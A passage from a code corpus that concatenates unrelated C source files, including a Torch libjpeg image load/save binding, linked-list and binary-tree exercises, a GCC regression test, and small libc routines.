{
most_greatest= units_digit[j];
place= j;
}
}
numbers_copy[k]=numbers[place];
units_digit[place]= -1;
numbers[place]= -1;
}
indices=0;
for( int k= number_count-1 ; k >= 0 ; k-- )
{
numbers[indices]= numbers_copy[k];
indices++;
}
return(0);
}
|
the_stack_data/613159.c
|
#ifndef TH_GENERIC_FILE
#define TH_GENERIC_FILE "generic/jpeg.c"
#else
/******************** JPEG DECOMPRESSION SAMPLE INTERFACE *******************/
/* This half of the example shows how to read data from the JPEG decompressor.
* It's a bit more refined than the above, in that we show:
* (a) how to modify the JPEG library's standard error-reporting behavior;
* (b) how to allocate workspace using the library's memory manager.
*
* Just to make this example a little different from the first one, we'll
* assume that we do not intend to put the whole image into an in-memory
* buffer, but to send it line-by-line someplace else. We need a one-
* scanline-high JSAMPLE array as a work buffer, and we will let the JPEG
* memory manager allocate it for us. This approach is actually quite useful
* because we don't need to remember to deallocate the buffer separately: it
* will go away automatically when the JPEG object is cleaned up.
*/
/*
* ERROR HANDLING:
*
* The JPEG library's standard error handler (jerror.c) is divided into
* several "methods" which you can override individually. This lets you
* adjust the behavior without duplicating a lot of code, which you might
* have to update with each future release.
*
* Our example here shows how to override the "error_exit" method so that
* control is returned to the library's caller when a fatal error occurs,
* rather than calling exit() as the standard error_exit method does.
*
* We use C's setjmp/longjmp facility to return control. This means that the
* routine which calls the JPEG library must first execute a setjmp() call to
* establish the return point. We want the replacement error_exit to do a
* longjmp(). But we need to make the setjmp buffer accessible to the
* error_exit routine. To do this, we make a private extension of the
* standard JPEG error handler object. (If we were using C++, we'd say we
* were making a subclass of the regular error handler.)
*
* Here's the extended error handler struct:
*/
#ifndef _LIBJPEG_ERROR_STRUCTS_
#define _LIBJPEG_ERROR_STRUCTS_
struct my_error_mgr {
struct jpeg_error_mgr pub; /* "public" fields */
jmp_buf setjmp_buffer; /* for return to caller */
char msg[JMSG_LENGTH_MAX]; /* last error message */
};
typedef struct my_error_mgr * my_error_ptr;
#endif
/*
* Here's the routine that will replace the standard error_exit method:
*/
METHODDEF(void)
libjpeg_(Main_error) (j_common_ptr cinfo)
{
/* cinfo->err really points to a my_error_mgr struct, so coerce pointer */
my_error_ptr myerr = (my_error_ptr) cinfo->err;
/* See below. */
(*cinfo->err->output_message) (cinfo);
/* Return control to the setjmp point */
longjmp(myerr->setjmp_buffer, 1);
}
/*
* Here's the routine that will replace the standard output_message method:
*/
METHODDEF(void)
libjpeg_(Main_output_message) (j_common_ptr cinfo)
{
my_error_ptr myerr = (my_error_ptr) cinfo->err;
(*cinfo->err->format_message) (cinfo, myerr->msg);
}
/*
* Sample routine for JPEG decompression. We assume that the source file name
* is passed in. We want to return 1 on success, 0 on error.
*/
static int libjpeg_(Main_size)(lua_State *L)
{
/* This struct contains the JPEG decompression parameters and pointers to
* working space (which is allocated as needed by the JPEG library).
*/
struct jpeg_decompress_struct cinfo;
/* We use our private extension JPEG error handler.
* Note that this struct must live as long as the main JPEG parameter
* struct, to avoid dangling-pointer problems.
*/
struct my_error_mgr jerr;
/* More stuff */
FILE * infile; /* source file */
const char *filename = luaL_checkstring(L, 1);
/* In this example we want to open the input file before doing anything else,
* so that the setjmp() error recovery below can assume the file is open.
* VERY IMPORTANT: use "b" option to fopen() if you are on a machine that
* requires it in order to read binary files.
*/
if ((infile = fopen(filename, "rb")) == NULL)
{
luaL_error(L, "cannot open file <%s> for reading", filename);
}
/* Step 1: allocate and initialize JPEG decompression object */
/* We set up the normal JPEG error routines, then override error_exit. */
cinfo.err = jpeg_std_error(&jerr.pub);
jerr.pub.error_exit = libjpeg_(Main_error);
jerr.pub.output_message = libjpeg_(Main_output_message);
/* Establish the setjmp return context for my_error_exit to use. */
if (setjmp(jerr.setjmp_buffer)) {
/* If we get here, the JPEG code has signaled an error.
* We need to clean up the JPEG object, close the input file, and return.
*/
jpeg_destroy_decompress(&cinfo);
fclose(infile);
luaL_error(L, jerr.msg);
}
/* Now we can initialize the JPEG decompression object. */
jpeg_create_decompress(&cinfo);
/* Step 2: specify data source (eg, a file) */
jpeg_stdio_src(&cinfo, infile);
/* Step 3: read file parameters with jpeg_read_header() */
jpeg_read_header(&cinfo, TRUE);
/* We can ignore the return value from jpeg_read_header since
* (a) suspension is not possible with the stdio data source, and
* (b) we passed TRUE to reject a tables-only JPEG file as an error.
* See libjpeg.doc for more info.
*/
/* Step 4: set parameters for decompression */
/* In this example, we don't need to change any of the defaults set by
* jpeg_read_header(), so we do nothing here.
*/
/* Step 5: Start decompressor */
(void) jpeg_start_decompress(&cinfo);
/* We can ignore the return value since suspension is not possible
* with the stdio data source.
*/
lua_pushnumber(L, cinfo.output_components);
lua_pushnumber(L, cinfo.output_height);
lua_pushnumber(L, cinfo.output_width);
/* Step 8: Release JPEG decompression object */
/* This is an important step since it will release a good deal of memory. */
jpeg_destroy_decompress(&cinfo);
/* After finish_decompress, we can close the input file.
* Here we postpone it until after no more JPEG errors are possible,
* so as to simplify the setjmp error logic above. (Actually, I don't
* think that jpeg_destroy can do an error exit, but why assume anything...)
*/
fclose(infile);
/* At this point you may want to check to see whether any corrupt-data
* warnings occurred (test whether jerr.pub.num_warnings is nonzero).
*/
/* And we're done! */
return 3;
}
static int libjpeg_(Main_load)(lua_State *L)
{
const int load_from_file = luaL_checkint(L, 1);
#if !defined(HAVE_JPEG_MEM_SRC)
if (load_from_file != 1) {
luaL_error(L, JPEG_MEM_SRC_ERR_MSG);
}
#endif
/* This struct contains the JPEG decompression parameters and pointers to
* working space (which is allocated as needed by the JPEG library).
*/
struct jpeg_decompress_struct cinfo;
/* We use our private extension JPEG error handler.
* Note that this struct must live as long as the main JPEG parameter
* struct, to avoid dangling-pointer problems.
*/
struct my_error_mgr jerr;
/* More stuff */
FILE * infile; /* source file (if loading from file) */
unsigned char * inmem; /* source memory (if loading from memory) */
unsigned long inmem_size; /* source memory size (bytes) */
JSAMPARRAY buffer; /* Output row buffer */
/* int row_stride; /1* physical row width in output buffer *1/ */
int i, k;
THTensor *tensor = NULL;
if (load_from_file == 1) {
const char *filename = luaL_checkstring(L, 2);
/* In this example we want to open the input file before doing anything else,
* so that the setjmp() error recovery below can assume the file is open.
* VERY IMPORTANT: use "b" option to fopen() if you are on a machine that
* requires it in order to read binary files.
*/
if ((infile = fopen(filename, "rb")) == NULL)
{
luaL_error(L, "cannot open file <%s> for reading", filename);
}
} else {
/* We're loading from a ByteTensor */
THByteTensor *src = luaT_checkudata(L, 2, "torch.ByteTensor");
inmem = THByteTensor_data(src);
inmem_size = src->size[0];
infile = NULL;
}
/* Step 1: allocate and initialize JPEG decompression object */
/* We set up the normal JPEG error routines, then override error_exit. */
cinfo.err = jpeg_std_error(&jerr.pub);
jerr.pub.error_exit = libjpeg_(Main_error);
jerr.pub.output_message = libjpeg_(Main_output_message);
/* Establish the setjmp return context for my_error_exit to use. */
if (setjmp(jerr.setjmp_buffer)) {
/* If we get here, the JPEG code has signaled an error.
* We need to clean up the JPEG object, close the input file, and return.
*/
jpeg_destroy_decompress(&cinfo);
if (infile) {
fclose(infile);
}
luaL_error(L, jerr.msg);
}
/* Now we can initialize the JPEG decompression object. */
jpeg_create_decompress(&cinfo);
/* Step 2: specify data source (eg, a file) */
if (load_from_file == 1) {
jpeg_stdio_src(&cinfo, infile);
} else {
jpeg_mem_src(&cinfo, inmem, inmem_size);
}
/* Step 3: read file parameters with jpeg_read_header() */
(void) jpeg_read_header(&cinfo, TRUE);
/* We can ignore the return value from jpeg_read_header since
* (a) suspension is not possible with the stdio data source, and
* (b) we passed TRUE to reject a tables-only JPEG file as an error.
* See libjpeg.doc for more info.
*/
/* Step 4: set parameters for decompression */
/* In this example, we don't need to change any of the defaults set by
* jpeg_read_header(), so we do nothing here.
*/
/* Step 5: Start decompressor */
(void) jpeg_start_decompress(&cinfo);
/* We can ignore the return value since suspension is not possible
* with the stdio data source.
*/
/* We may need to do some setup of our own at this point before reading
* the data. After jpeg_start_decompress() we have the correct scaled
* output image dimensions available, as well as the output colormap
* if we asked for color quantization.
* In this example, we need to make an output work buffer of the right size.
*/
/* Make a one-row-high sample array that will go away when done with image */
const unsigned int chans = cinfo.output_components;
const unsigned int height = cinfo.output_height;
const unsigned int width = cinfo.output_width;
tensor = THTensor_(newWithSize3d)(chans, height, width);
real *tdata = THTensor_(data)(tensor);
buffer = (*cinfo.mem->alloc_sarray)
((j_common_ptr) &cinfo, JPOOL_IMAGE, chans * width, 1);
/* Step 6: while (scan lines remain to be read) */
/* jpeg_read_scanlines(...); */
/* Here we use the library's state variable cinfo.output_scanline as the
* loop counter, so that we don't have to keep track ourselves.
*/
while (cinfo.output_scanline < height) {
/* jpeg_read_scanlines expects an array of pointers to scanlines.
* Here the array is only one element long, but you could ask for
* more than one scanline at a time if that's more convenient.
*/
(void) jpeg_read_scanlines(&cinfo, buffer, 1);
const unsigned int j = cinfo.output_scanline-1;
if (chans == 3) { /* special-case for speed */
real *td1 = tdata + 0 * (height * width) + j * width;
real *td2 = tdata + 1 * (height * width) + j * width;
real *td3 = tdata + 2 * (height * width) + j * width;
const unsigned char *buf = buffer[0];
for(i = 0; i < width; i++) {
*td1++ = (real)buf[chans * i + 0];
*td2++ = (real)buf[chans * i + 1];
*td3++ = (real)buf[chans * i + 2];
}
} else if (chans == 1) { /* special-case for speed */
real *td = tdata + j * width;
for(i = 0; i < width; i++) {
*td++ = (real)buffer[0][i];
}
} else { /* general case */
for(k = 0; k < chans; k++) {
const unsigned int k_ = k;
real *td = tdata + k_ * (height * width) + j * width;
for(i = 0; i < width; i++) {
*td++ = (real)buffer[0][chans * i + k_];
}
}
}
}
/* Step 7: Finish decompression */
(void) jpeg_finish_decompress(&cinfo);
/* We can ignore the return value since suspension is not possible
* with the stdio data source.
*/
/* Step 8: Release JPEG decompression object */
/* This is an important step since it will release a good deal of memory. */
jpeg_destroy_decompress(&cinfo);
/* After finish_decompress, we can close the input file.
* Here we postpone it until after no more JPEG errors are possible,
* so as to simplify the setjmp error logic above. (Actually, I don't
* think that jpeg_destroy can do an error exit, but why assume anything...)
*/
if (infile) {
fclose(infile);
}
/* At this point you may want to check to see whether any corrupt-data
* warnings occurred (test whether jerr.pub.num_warnings is nonzero).
*/
/* And we're done! */
luaT_pushudata(L, tensor, torch_Tensor);
return 1;
}
/*
* save function
*
*/
int libjpeg_(Main_save)(lua_State *L) {
const int save_to_file = luaL_checkint(L, 3);
#if !defined(HAVE_JPEG_MEM_DEST)
if (save_to_file != 1) {
luaL_error(L, JPEG_MEM_DEST_ERR_MSG);
}
#endif
unsigned char *inmem = NULL; /* destination memory (if saving to memory) */
unsigned long inmem_size = 0; /* destination memory size (bytes) */
/* get args */
const char *filename = luaL_checkstring(L, 1);
THTensor *tensor = luaT_checkudata(L, 2, torch_Tensor);
THTensor *tensorc = THTensor_(newContiguous)(tensor);
real *tensor_data = THTensor_(data)(tensorc);
THByteTensor* tensor_dest = NULL;
if (save_to_file == 0) {
tensor_dest = luaT_checkudata(L, 5, "torch.ByteTensor");
}
int quality = luaL_checkint(L, 4);
if (quality < 0 || quality > 100) {
luaL_error(L, "quality should be between 0 and 100");
}
/* jpeg struct */
struct jpeg_compress_struct cinfo;
struct jpeg_error_mgr jerr;
/* pointer to raw image */
unsigned char *raw_image = NULL;
/* dimensions of the image we want to write */
int width=0, height=0, bytes_per_pixel=0;
int color_space=0;
if (tensorc->nDimension == 3) {
bytes_per_pixel = tensorc->size[0];
height = tensorc->size[1];
width = tensorc->size[2];
if (bytes_per_pixel == 3) {
color_space = JCS_RGB;
} else if (bytes_per_pixel == 1) {
color_space = JCS_GRAYSCALE;
} else {
luaL_error(L, "tensor should have 1 or 3 channels (gray or RGB)");
}
} else if (tensorc->nDimension == 2) {
bytes_per_pixel = 1;
height = tensorc->size[0];
width = tensorc->size[1];
color_space = JCS_GRAYSCALE;
} else {
luaL_error(L, "supports only 1 or 3 dimension tensors");
}
/* alloc raw image data */
raw_image = (unsigned char *)malloc((sizeof (unsigned char))*width*height*bytes_per_pixel);
/* convert tensor to raw bytes */
int x,y,k;
for (k=0; k<bytes_per_pixel; k++) {
for (y=0; y<height; y++) {
for (x=0; x<width; x++) {
raw_image[(y*width+x)*bytes_per_pixel+k] = *tensor_data++;
}
}
}
/* this is a pointer to one row of image data */
JSAMPROW row_pointer[1];
FILE *outfile = NULL;
if (save_to_file == 1) {
outfile = fopen( filename, "wb" );
if ( !outfile ) {
luaL_error(L, "Error opening output jpeg file %s\n!", filename );
}
}
cinfo.err = jpeg_std_error( &jerr );
jpeg_create_compress(&cinfo);
/* specify data source (eg, a file) */
if (save_to_file == 1) {
jpeg_stdio_dest(&cinfo, outfile);
} else {
jpeg_mem_dest(&cinfo, &inmem, &inmem_size);
}
/* Setting the parameters of the output file here */
cinfo.image_width = width;
cinfo.image_height = height;
cinfo.input_components = bytes_per_pixel;
cinfo.in_color_space = color_space;
/* default compression parameters, we shouldn't be worried about these */
jpeg_set_defaults( &cinfo );
jpeg_set_quality(&cinfo, quality, (boolean)0);
/* Now do the compression .. */
jpeg_start_compress( &cinfo, TRUE );
/* like reading a file, this time write one row at a time */
while( cinfo.next_scanline < cinfo.image_height ) {
row_pointer[0] = &raw_image[ cinfo.next_scanline * cinfo.image_width * cinfo.input_components];
jpeg_write_scanlines( &cinfo, row_pointer, 1 );
}
/* similar to read file, clean up after we're done compressing */
jpeg_finish_compress( &cinfo );
jpeg_destroy_compress( &cinfo );
if (outfile != NULL) {
fclose( outfile );
}
if (save_to_file == 0) {
THByteTensor_resize1d(tensor_dest, inmem_size); /* will fail if it's not a Byte Tensor */
unsigned char* tensor_dest_data = THByteTensor_data(tensor_dest);
memcpy(tensor_dest_data, inmem, inmem_size);
free(inmem);
}
/* some cleanup */
free(raw_image);
THTensor_(free)(tensorc);
/* success code is 1! */
return 1;
}
static const luaL_Reg libjpeg_(Main__)[] =
{
{"size", libjpeg_(Main_size)},
{"load", libjpeg_(Main_load)},
{"save", libjpeg_(Main_save)},
{NULL, NULL}
};
DLL_EXPORT int libjpeg_(Main_init)(lua_State *L)
{
luaT_pushmetatable(L, torch_Tensor);
luaT_registeratname(L, libjpeg_(Main__), "libjpeg");
return 1;
}
#endif
|
the_stack_data/192331034.c
|
#include<stdio.h>
#include<stdlib.h>
struct NoLis
{
int val;
struct NoLis *prox;
};
typedef struct NoLis No;
void inic_fil(No *p)
{
p->prox=NULL;
}
int lista_vazia(No *p)
{
if(p->prox==NULL)
{
return (1);
}
else
{
return (0);
}
}
void no_insere(No *p, int x)
{
No *q,*pos;
q=(No*) malloc(sizeof(No));
q->val=x;
q->prox=NULL;
pos=p;
while(pos->prox!=NULL)
{
pos=pos->prox;
}
pos->prox=q;
}
void imprime(No *p)
{
No *q;
q=p->prox;
printf("\n");
while(q!=NULL)
{
printf("[%i]-->",q->val);
q=q->prox;
}
printf("NULL");
}
void imprime_separado(No *p)
{
No *r,*s;
r=p->prox;
s=p->prox;
printf("\nLista de Pares\n");
while(r!=NULL)
{
if(r->val%2==0)
{
printf("[%i]-->",r->val);
}
r=r->prox;
}
printf("NULL");
printf("\n\nLista de Impares\n");
while(s!=NULL)
{
if(s->val%2!=0)
{
printf("[%i]-->",s->val);
}
s=s->prox;
}
printf("NULL");
}
int main()
{
struct No *p;
int valor, op;
inic_fil(&p);
while( 1 )
{
printf("\n\nLista Linear Simplesmente Encadeada:\n");
printf( "0 - Sair\n");
printf( "1 - Inserir elemento na lista\n" );
printf( "2 - Mostrar lista\n" );
printf( "3 - Mostrar lista separada\n" );
printf( "Opcao? " );
scanf( "%d",&op);
switch( op )
{
case 0:
exit(0);
break;
case 1:
printf( "Valor? " );
scanf("%d",&valor);
no_insere(&p,valor);
break;
case 2:
if (!lista_vazia(&p))
{
imprime(&p);
}
else
{
printf("Lista vazia!!\n");
}
break;
case 3:
if (!lista_vazia(&p))
{
imprime_separado(&p);
}
else
{
printf("Lista vazia!!\n");
}
break;
}
}
return 0;
}
|
the_stack_data/70450840.c
|
/* PR c/6957
This testcase ICEd at -O2 on IA-32, because
(insn 141 139 142 (set (subreg:SF (reg:QI 72) 0)
(plus:SF (reg:SF 73)
(reg:SF 76))) 525 {*fop_sf_comm_nosse} (insn_list 134 (nil))
(expr_list:REG_DEAD (reg:SF 73) (nil)))
couldn't be reloaded. */
void
foo (unsigned int n, int x, int y, unsigned char *z)
{
int a, b;
float c[2048][4];
switch (x)
{
case 0x1906:
a = b = -1;
break;
case 0x190A:
a = b = -1;
break;
case 0x8049:
a = b = -1;
break;
case 0x1907:
a = 1;
b = 2;
break;
default:
return;
}
if (a >= 0)
{
unsigned char *d = z;
unsigned int i;
for (i = 0; i < n; i++)
{
do
{
union
{
float r;
unsigned int i;
}
e;
e.r = c[i][1];
d[a] =
((e.i >= 0x3f7f0000) ? ((int) e.i <
0) ? (unsigned char) 0
: (unsigned char) 255 : (e.r =
e.r * (255.0F / 256.0F) +
32768.0F, (unsigned char) e.i));
}
while (0);
d += y;
}
}
if (b >= 0)
{
unsigned char *d = z;
unsigned int i;
for (i = 0; i < n; i++)
{
do
{
union
{
float r;
unsigned int i;
}
e;
e.r = c[i][2];
d[b] =
((e.i >= 0x3f7f0000) ? ((int) e.i <
0) ? (unsigned char) 0
: (unsigned char) 255 : (e.r =
e.r * (255.0F / 256.0F) +
32768.0F, (unsigned char) e.i));
}
while (0);
d += y;
}
}
}
|
the_stack_data/847802.c
|
#include <stdio.h>
int main() {
int n;
while (scanf("%d", &n) == 1) {
if (n == 0) return 0;
int sum = 5 * n;
int prev = 0, dest;
while (n--) {
scanf("%d", &dest);
int delta = dest - prev;
prev = dest;
if (delta > 0) {
sum += 6 * delta;
} else if (delta < 0) {
sum += -4 * delta;
} else {
// sum -= 5;
}
}
printf("%d\n", sum);
}
}
|
the_stack_data/76700500.c
|
//CRUD looped list with dynamic memory allocation
//Author: Yuri Cristhian da Cruz
//IDE: Codeblocks
//Compiler: GCC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TAM_NOME 20
typedef enum{false, true} bool;
typedef struct no{
char nome[TAM_NOME];
int matricula, turma;
float coef;
struct no *prox;
struct no *ant;
}noAluno;
bool insereAluno(noAluno aluno);
void imprimeLista();
bool removeAluno(int mat);
int buscaMatricula(int mat);
void destroi();
noAluno *prim = NULL;
noAluno *ult = NULL;
int quant = 0;
int main()
{
int aux, mat;
noAluno student;
for(;;){
system("cls");
printf("[ SUPER LISTA DE ALUNOS ]\n\n");
printf(">> 1 para inserir um aluno na lista\n");
printf(">> 2 para remover um aluno da lista\n");
printf(">> 3 para listar todos alunos\n");
printf(">> 4 para deletar a lista e fechar o programa\n");
scanf("%d", &aux);
getchar();
if(aux == 1){
printf("\nNome: ");
gets(student.nome);
printf("\nMatricula: ");
scanf("%d", &student.matricula);
printf("\nTurma: ");
scanf("%d", &student.turma);
printf("\nCoeficiente: ");
scanf("%f", &student.coef);
if(buscaMatricula(student.matricula) != -1){
printf("\n\nESSA MATRICULA JA EXISTE NA LISTA!\n\n!");
system("pause");
}else{
insereAluno(student);
}
}
if(aux == 2){
printf("\nMatricula a ser removida: ");
scanf("%d", &mat);
removeAluno(mat);
}
if(aux == 3){
imprimeLista();
printf("\n\n");
system("pause");
}
if(aux == 4){
destroi();
system("cls");
printf("\n[ LISTA DESTRUIDA ]\n\n");
system("pause");
break;
}
}
}
bool insereAluno(noAluno aluno){
noAluno *aux = NULL;
noAluno *atual = prim;
noAluno *novo;
novo = (noAluno *) malloc(sizeof(noAluno));
if(prim == NULL){
prim = novo;
ult = novo;
strcpy(novo->nome, aluno.nome);
novo->matricula = aluno.matricula;
novo->turma = aluno.turma;
novo->coef = aluno.coef;
novo->ant = novo;
novo->prox = novo;
}else{
while(strcmp(atual->nome, aluno.nome) < 0){
aux = atual;
atual = atual->prox;
if(atual == prim){ // there is only one element in the list
break;
}
}
if(aux == NULL){
prim = novo;
ult->prox = prim;
ult->ant = prim;
prim->prox = ult;
prim->ant = ult;
}else{
aux->prox = novo;
atual->ant = novo;
}
strcpy(novo->nome, aluno.nome);
novo->matricula = aluno.matricula;
novo->turma = aluno.turma;
novo->coef = aluno.coef;
novo->ant = aux;
novo->prox = atual;
if(atual == prim){
ult = novo;
}
}
quant++;
return true;
}
void imprimeLista(){
int i = 0;
noAluno *atual = prim;
if(atual != NULL){
while(true){
printf("Nome: %s", atual->nome);
printf("\nMatricula: %d", atual->matricula);
printf("\nTurma: %d", atual->turma);
printf("\nCoeficiente: %.2f", atual->coef);
printf("\n\n");
atual = atual->prox;
i++;
if(atual == prim){
break;
}
}
}
}
bool removeAluno(int mat){
noAluno *aux = NULL;
noAluno *atual = prim;
if(atual != NULL){
while(atual->matricula != mat){
aux = atual;
atual = atual->prox;
if(atual == prim){
break;
}
}
if(atual->matricula != mat){
return false;
}else{
if(atual == prim){
prim = atual->prox;
ult->prox = prim;
prim->ant = ult;
free(atual);
}else{
aux->prox = atual->prox;
atual->prox->ant = aux;
if(atual == ult){
ult = aux;
}
free(atual);
}
quant--;
return true;
}
}else{
return false;
}
}
int buscaMatricula(int mat){
int i = 0;
noAluno *atual = prim;
if(atual != NULL){
while(atual->matricula != mat){
atual = atual->prox;
i++;
if(atual == prim){
break; //It means I went around the list
}
}
if(atual->matricula != mat){
return -1;
}else{
return i;
}
}else{
return -1; //List empty
}
}
void destroi(){
noAluno *atual = prim;
noAluno *apaga;
if(atual != NULL){
while(true){
apaga = atual;
atual = atual->prox;
free(apaga);
if(atual == ult){
break;
}
}
free(atual);
}
}
|
the_stack_data/151605.c
|
int * twoSum(int * numbers, int numbersSize, int target, int * returnSize){
int L = 0, R = numbersSize - 1, Sum = numbers[L] + numbers[R];
while( Sum != target ){
Sum < target ? ++L : --R;
Sum = numbers[L] + numbers[R];
}
int * res = (int*)calloc(*returnSize = 2, sizeof(int));
res[0] = L + 1;
res[1] = R + 1;
return res;
}
|
the_stack_data/243894508.c
|
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
int fd1, fd2, fd3;
char c1, c2, c3;
char *fname = argv[1];
fd1 = open(fname, O_RDONLY, 0);
fd2 = open(fname, O_RDONLY, 0);
fd3 = open(fname, O_RDONLY, 0);
dup2(fd2, fd3);
read(fd1, &c1, 1);
read(fd2, &c2, 1);
read(fd3, &c3, 1);
printf("c1 = %c, c2 = %c, c3 = %c\n", c1, c2, c3);
return 0;
}
|
the_stack_data/18887773.c
|
void uart0_config();
int putchar(int c);
int getchar();
int puts(const char *s);
void Bank0_tacc_init(int val);
int led(void);
void sdram_init();
int sdram_test();
void delay(volatile d);
unsigned char * hex2chars(int val);
char g_char = 'A';
char g_char2 = 'a';
int g_val = 5;
int main()
{
uart0_config(); //配置UART
puts("\n\rg_val = ");
puts(hex2chars(g_val));
while(1)
{
putchar(g_char++);
putchar(g_char2++);
delay(1000000);
}
return 0;
}
unsigned char * hex2chars(int val)
{
int i=0, hex=0;
unsigned char * chars[8] = {0};
for (i=7; i--; i>=0)
{
hex = val & 0xF;
if(hex >=0 && hex <= 9)
{
chars[i] = hex + '0';
}
else
{
chars[i] = hex + 'A' - 0xA;
}
val <<= 4;
}
return chars;
}
|
the_stack_data/845551.c
|
static int cr_errno;
int get_cr_errno(void)
{
return cr_errno;
}
void set_cr_errno(int new_err)
{
if (!cr_errno)
cr_errno = new_err;
}
|
the_stack_data/215769543.c
|
/* $NetBSD: toascii.c,v 1.3 2012/06/25 22:32:44 abs Exp $ */
/*
* Copyright (c) 1989 The Regents of the University of California.
* All rights reserved.
* (c) UNIX System Laboratories, Inc.
* All or some portions of this file are derived from material licensed
* to the University of California by American Telephone and Telegraph
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
* the permission of UNIX System Laboratories, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* from: @(#)isctype.c 5.2 (Berkeley) 6/1/90
*/
#include <sys/cdefs.h>
#if defined(LIBC_SCCS) && !defined(lint)
__RCSID("$NetBSD: toascii.c,v 1.3 2012/06/25 22:32:44 abs Exp $");
#endif /* LIBC_SCCS and not lint */
#include <ctype.h>
#undef toascii
int
toascii(int c)
{
return ((c) & 0177);
}
|
the_stack_data/1108292.c
|
/*
* fgetc.c
*
* Extremely slow fgetc implementation, using _fread(). If people
* actually need character-oriented input to be fast, we may actually
* have to implement buffering. Sigh.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
int fgetc(FILE *f)
{
unsigned char ch;
return (_fread(&ch, 1, f) == 1) ? (int)ch : EOF;
}
|
the_stack_data/122014372.c
|
/*
* Copyright (C) 2016 Bastien Penavayre
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
void func(void *addr, int offset)
{
printf("this:%p offset:%d\n", addr, offset);
}
void heapBased();
int main()
{
(heapBased + 14)(); //base class
(heapBased + 14 + 9)(); //interface 1
(heapBased + 14 + 9 * 2)(); //interface 2
(heapBased + 14 + 9 * 3)(); //interface 3
}
|
the_stack_data/211081426.c
|
// print elements of array in reverse.
#include<stdio.h>
void main() {
int i, arr[] = {1,2,3,4,5,6,7,8,9};
printf("Non reversed: ");
for(i=0;i<9;i++) {
printf("%d", arr[i]);
}
printf("\n");
printf("Reversed: ");
for(i=8;i>=0;i--) {
printf("%d", arr[i]);
}
}
|
the_stack_data/80370.c
|
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
int read_r1(int *n, int **key, int **left, int **right) {
int i;
int *keyLocal;
int *leftLocal, *rightLocal;
scanf("%d", n); // n is same as &*n or *&n here.
keyLocal = (int *)calloc(*n, sizeof(int));
if (keyLocal == NULL) {
fprintf(stderr, "calloc failed\n");
return(-1);
}
*key = keyLocal;
leftLocal = (int *)calloc(*n, sizeof(int));
if (leftLocal == NULL) {
fprintf(stderr, "calloc failed\n");
return(-1);
}
*left = leftLocal;
rightLocal = (int *)calloc(*n, sizeof(int));
if (rightLocal == NULL) {
fprintf(stderr, "calloc failed\n");
return(-1);
}
*right = rightLocal;
for (i = 0; i < *n; i++) {
scanf("%d%d%d", &keyLocal[i], &leftLocal[i], &rightLocal[i]); // &keyLocal[i] is same as &(*key)[i] here.
}
return 0;
}
void inOrderRec_r1(int n, int *key, int *left, int *right, int current, int *result) {
static int counter = 0;
if (left[current] != -1)
inOrderRec_r1(n, key, left, right, left[current], result);
result[counter++] = key[current];
if (right[current] != -1)
inOrderRec_r1(n, key, left, right, right[current], result);
}
int * inOrder_r1(int n, int *key, int *left, int *right) {
int *result = (int *)calloc(n, sizeof(int));
inOrderRec_r1(n, key, left, right, 0, result); // 0 is root
return result;
}
void preOrderRec_r1(int n, int *key, int *left, int *right, int current, int *result) {
static int counter = 0;
result[counter++] = key[current];
if (left[current] != -1)
preOrderRec_r1(n, key, left, right, left[current], result);
if (right[current] != -1)
preOrderRec_r1(n, key, left, right, right[current], result);
}
int * preOrder_r1(int n, int * key, int * left, int * right) {
int *result = (int *)calloc(n, sizeof(int));
preOrderRec_r1(n, key, left, right, 0, result); // 0 is root
return result;
}
void postOrderRec_r1(int n, int *key, int *left, int *right, int current, int *result) {
static int counter = 0;
if (left[current] != -1)
postOrderRec_r1(n, key, left, right, left[current], result);
if (right[current] != -1)
postOrderRec_r1(n, key, left, right, right[current], result);
result[counter++] = key[current];
}
int * postOrder_r1(int n, int * key, int * left, int * right) {
int *result = (int *)calloc(n, sizeof(int));
